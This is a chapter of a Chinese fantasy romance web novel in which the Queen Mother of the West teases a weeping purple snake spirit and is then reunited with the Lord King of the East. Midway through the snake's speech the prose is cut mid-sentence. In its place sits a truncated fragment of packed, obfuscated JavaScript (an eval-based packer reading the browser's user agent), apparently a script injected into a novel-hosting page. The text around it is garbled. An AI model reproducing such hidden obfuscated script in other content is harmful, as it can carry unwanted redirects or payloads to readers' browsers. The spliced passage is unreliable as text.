他闻言,顿时面如死灰的瘫在原地瘪嘴嚎啕大哭: “我就知道你们这些上古老神最小心眼了,我不过是不小心偷听到你们说的几句话,你就要杀我灭口…… 平日里口口声声说什么以守护天下苍生为己任,普度众生,泽被万灵。 可实际上呢,你的万灵就因为误打误撞听见了你们几句小秘密,你就要把你的万灵咔嚓了,哪有这个道理啊!” “你那是,只偷听到几句话?”我挑眉,一本正经戳穿他:“难道不是从头听到尾?” 紫蛇一哽,默默找棵树抱了,弱小且无助的可怜兮兮同我争取:“那我说,我都没听清,能减轻点罪过吗?能不死吗?” “不能。”我轻描淡写,无情拒绝。 紫蛇小脸发紫的顿时哭得更厉害了: “可我还不想死啊,我还年轻着呢……呜呜鸾镜妹子你不讲武德!亏我从前还总偏心你、照顾你……呜!” “本座这不是给了你一条生路么?” 我垂下视线,故意扫了眼他的下身: “本座把你阉了,送回昆仑。你不但不用死,还能做本座的贴身近侍,永远服侍本座。 侍奉本座,可是多少人求之不得的机会。 你若表现得好,本座还可以赐你长生之躯,无边法力。 可比你在凡界做一条区区蛇仙,要风光多了。” “呸!” 紫蛇警惕心极强的连忙捂住自己命根子,哭着冲我憋屈哀嚎: “让我做太监,还不如一刀痛快宰了我呢!我、我才不要做神界的蛇仙,风光什么的,谁稀罕啊! 再说、呜呜你不能带走我!我、我有主人的!我主人、是华桑大帝! 你知道吗!他、他虽然没有你身份尊贵神阶高但、他可是冥王拜把子兄弟,冥界的正神! 他还是蛇皇的亲侄子!蛇皇你知道是谁吗?蛇皇、就,就是玄帝!蛇皇他老婆……” 我淡定接上:“蛇皇他老婆,是灵帝,龙祖上清的妹妹,对么?” 紫蛇噎住,弱弱嘀咕:“哇?你知道啊。” 我从容理了理宽大袖袍: “上清兄妹俩与后土是挚友。后土与冥王又是老牌友,灵帝与玄帝成婚这么大的好事,后土两口子自然会找冥王八卦,冥王知道的消息,本座,自然也会听说。” “为、为什么冥王知道的事,你也会知道?你你你、你和冥王是什么关系?!”紫蛇既忌惮我,又忍不住想吃我的瓜,只能壮着胆子厚脸皮追问,牙齿颤得哐哐响…… 我抬手拨了拨鬓边的珍珠步摇:“哦,冥王是本座亲师兄,我俩从小一起长大,我刚出生就认识他了。” 紫蛇:“……” 缓了缓,紫蛇捂着裆巧舌如簧的企图同我攀关系: “那、那你更不能噶了我了!我主人是冥王的拜把子兄弟,你是冥王的师妹,四舍五入你和我主人也是兄妹、啊不,姐弟! 那你就也算我的半个主人了! 西王母娘娘你你你、你放心!看在你和我主人都是冥王小弟的份上,你信我,我绝不会将你的秘密泄露给任何人,我、我发誓!” 我平静看着他,弯唇淡淡一笑,久久不语。 他以为我还不信他,再次抛出更有力的证明: “那、那个……看在您现在是西王母娘娘的份上,我也告诉你一个秘密……你知道,华桑大帝,其实是谁吗?” 我迎上他炯炯有神、满怀期待的目光:“嗯,我老公,是吗?” 小紫蛇脸一僵,瞬间懵了。 “不、不是,我猜到您一出来,我主人的身份八成是会藏不住了……但我没料到,您、竟然发现得这么快!您甚至都、都没……没见到我主人的面!” 我深呼吸,逗他:“本座是何人,西昆仑正主,上古万灵之母。你主人不过区区一条修炼不到三千年的青龙仙,本座都不用掐指卜算,便能晓得他究竟是何底细!” 这句话属实有些吹牛的成分在了…… 我其实,早就见过他主人的面了。 就上次,在山里的灵泉池子内。 他差点我把吓出心理阴影! 后来,我细回想…… 才忆起来,当年我坠入轮回道时,的确隐约察觉到,他也追随我跳了下去。 还抱了我。 还叫我、西儿。 还附在我耳边说什么,是生是死,都休想甩掉他…… 想不到啊,向来端方沉稳,不苟言笑的东王,说起情话来竟也如此、顺嘴且肉麻! 千算万算没算到,我在尘世中轮回两千多载,他也在红尘里,苦等了我两千多年。 且,似乎我的每一世,都有他的影子…… 我的每一生,他都未曾缺席过。 他说得对,神仙入世办事或历劫,少则几十年,多则千年。 超过千年不归位,便情况极其危险。 而我下凡,本就是为了巡视凡间,虽其中掺着上古神的一道生死劫,可天道终究还是待我不薄,看在我是在为三界谋福祉的份上,给了我保留了几分神仙气运。 东王就不同了,他此次入世本就是逆天而行,他不该一时冲动随我跳下轮回道的。 即便他的神界帝君,资历老,道行高,位比三清,在没有经过天道或冥界之主允许的情况下,贸然跟随我跳入轮回道,其本体元神也会遭受重创。 加之他陪我一起入世,可能会乱我命格的关系,他还要承受天道与轮回道的双重反噬…… 他这是在拿命来守我辗转凡尘。 如今他已滞留凡间两千多年了,迟迟不曾归位,甚至、至今仍毫无要归位的迹象…… 他的情况,实则比我要危险多了! 我的元神这一世频频被唤醒,就证明离我渡劫归位的时辰不远了。 但他体内的东王元神现在还沉睡着……若纵容他一直睡下去,不晓得还要等多久才能等到他成功归位,变回东王。 瞧不见他的元神,不知道东王此刻是否还安好,我的心,总是平静不下来。 我阖目,暗暗感应了一番元神之内蕴含的灵力…… 尚还充盈。 一时半会,应该变不回凡人。 冲小紫蛇勾勾手,我乐此不疲地逗他玩儿:“本座,也还你一个秘密,可好?” 抱着树干的紫蛇:“啥?” 我一挥广袖,将紫蛇化成原形拎在手里。 抬眸看了眼如今的天色,施法携紫蛇变作一道金光,直奔山南边而去—— 再现身,我已带着紫蛇来到了桃树林前。 不远处的金色夕阳下,那抹熟悉英挺的背影正在同两条小蛇妖议事。 紫蛇从我袖中跳下去,一眼就认出了银发青年的身影:“我主人,华桑大帝!” 激动的正欲朝他冲过去…… 顿了顿,又回头看我,尴尬道:“你老公,青蛇大妖……” 我负袖端立在结了果实的桃树下,沉沉道:“你应该听说过,本座,有个官配。” 打算偷溜找东王保命的紫蛇下意识停住蠕动的身躯。 诧异扭头瞪大双眼瞧我:“对哦!我怎么把这一茬给忘记了!西王母、东王公……你和东王公才是一对!三界仙妖精怪谁不知道你老公是东王公啊!” 我:“……” 司命星君的话本子啊…… 着实效果显著! “等等。”紫蛇惊恐地差点弹跳起来,着急忙慌地爬近我,找我吃瓜: “你和东王公是一对,那我家帝君呢!我家帝君……不就成小三了吗!” 接受不了的砰一声凝出人形,抓住我的袖子就仓促替他家帝君分辩: “这可不干我家帝君的事啊!不是我家帝君先招惹的你! 明明是你趁我家帝君入世历劫记忆全无,几次三番引诱调戏我家帝君,这才令我家帝君老树开了花,春心萌动,对你爱而不可自拔! 后来你挂了,我家帝君更是剜了自己半颗心才寄存你的三魂七魄,三百年的心头血滋养啊,差点就把他熬**! 他说到底也只是条不到三千岁的小龙,他天赋好天分高才年纪轻轻便化龙飞升承了一方大帝之位,按正统龙族的年岁算,他还未成年呢! 他的道行是深,可再深的道行逆天改命救一个半仙,也是得付出极大的代价啊! 你上辈子是个狠人,一口气修到了半仙,若不是你临了将一身修为都给了帝君,助帝君劫成圆满,顺利归位,你早就修成正果,得道飞升了! 真不愧是西王母,舍弃一身修为从头再来还是能短短三百年便修成神…… 你本事大,你狠,后面却苦了帝君。 你生前就是半仙,半仙那是半只脚踏入神界的神仙,所谓爬得越高摔得越惨,普通人嗝屁了,帝君大不了去冥界走一趟,把她的三魂七魄护送进轮回道,你呢,你倒好!差一丁点魂飞魄散啊! 要不是我家帝君手快,你的魂魄碎片早就不知道飘哪鬼地方去了! 你上辈子的死法惨烈,死得痛苦,你神魂也承受着极大的痛楚…… 帝君为了救你,为了让你好受点,把自己半颗心都剜了,每天躲在镇山龙神庙里,哭着给你凝聚神魂,你知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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你有老公了还来招惹我家帝君干嘛! 你这闹的,要我家帝君以后怎么办啊!” 紫蛇哭着哭着,忽然蹲下身,无助地抱住双膝,伤心欲绝: “我后悔了,我要是不知道这个秘密,该多好,不知道,就不用为你们操心了,不知道,就不用提前心疼帝君了…… 我都已经能预见帝君的未来了,就算不死,肯定也会沦为行尸走肉…… 你们这些上古神,高高在上,无情无欲,怎懂情能**,呜……” 我:“……” 这家伙,倒是对青漓,一片忠心呐! 我拿他没办法的冷声道:“本座说的秘密,不是这个事。” 紫蛇昂头,满是水雾的眼神更绝望了:“啊?还有更过分的?!” 我心累揉了揉太阳穴。 “算了,和你说不清。” 紫蛇憋屈地拖着哭腔哼哼:“你当然说不清了,你是没的说……呜呜,你做贼心虚!” “……” 我觉得再不解释,我这辈子的名声都完了! 抬眸望向对面的背影,我从容不迫地施法—— 片刻,那一青一白两条蛇妖失去意识倒地昏睡。 至于银发古袍的青年,则在我法力的催动下,于十秒钟后,陡然化成了一名身穿银云纹雪色上古神袍,墨发及腰,身形颀长,清风霁月丰神俊朗的上古神明…… 一袭广袖白袍,宛若这天地间,唯一一泓纯洁冰雪。 东王…… 我按耐住心底的冲动,怔了怔,不好意思主动迈步、靠近他。 瘫坐在地上的紫蛇见此幕,憨憨地擦了擦眼泪,“帝君的头发……怎么又变回去了!帝君——” 化成一条小蛇,嗖的一下直奔东王飞去。 但却在东王转身的那一刹,猛地急刹车。 “帝帝帝帝、帝君?你怎么打扮变了,气质也变了?” “帝君?你被夺舍了!” “你还是我家帝君吗?” 四目相对,我凝望着他淡青色的深邃眼眸,看着他一如从前的温柔眉眼…… 终于,胸膛内的那颗心,再次忍不住地,因他而雀跃。 我似乎,已经分不清这是第多少对他心动了…… 只是这一回,我总算能无所顾虑地,在他面前不掩饰自己的喜欢、开心了。 时隔两千多年再重逢,他依旧是主动靠近的那个。 忽略愣在地上的紫蛇,他大步流星地向我走来。 清澈眼底漾起欢喜的涟漪。 神袍宽袖拂开身畔一切世俗污浊。 气质出尘,端方优雅。 神清骨秀,君子如玉。 愈发靠近的身影,美得宛若一幅赏心悦目的古画。 画上仙人,正挣脱画卷束缚,伸出骨节分明的大手,奔向我,抓住我。 “西儿……” 这次,我主动把自己的指尖,也递给了他。 难得地朝他温莞一笑:“东王,好久不见。”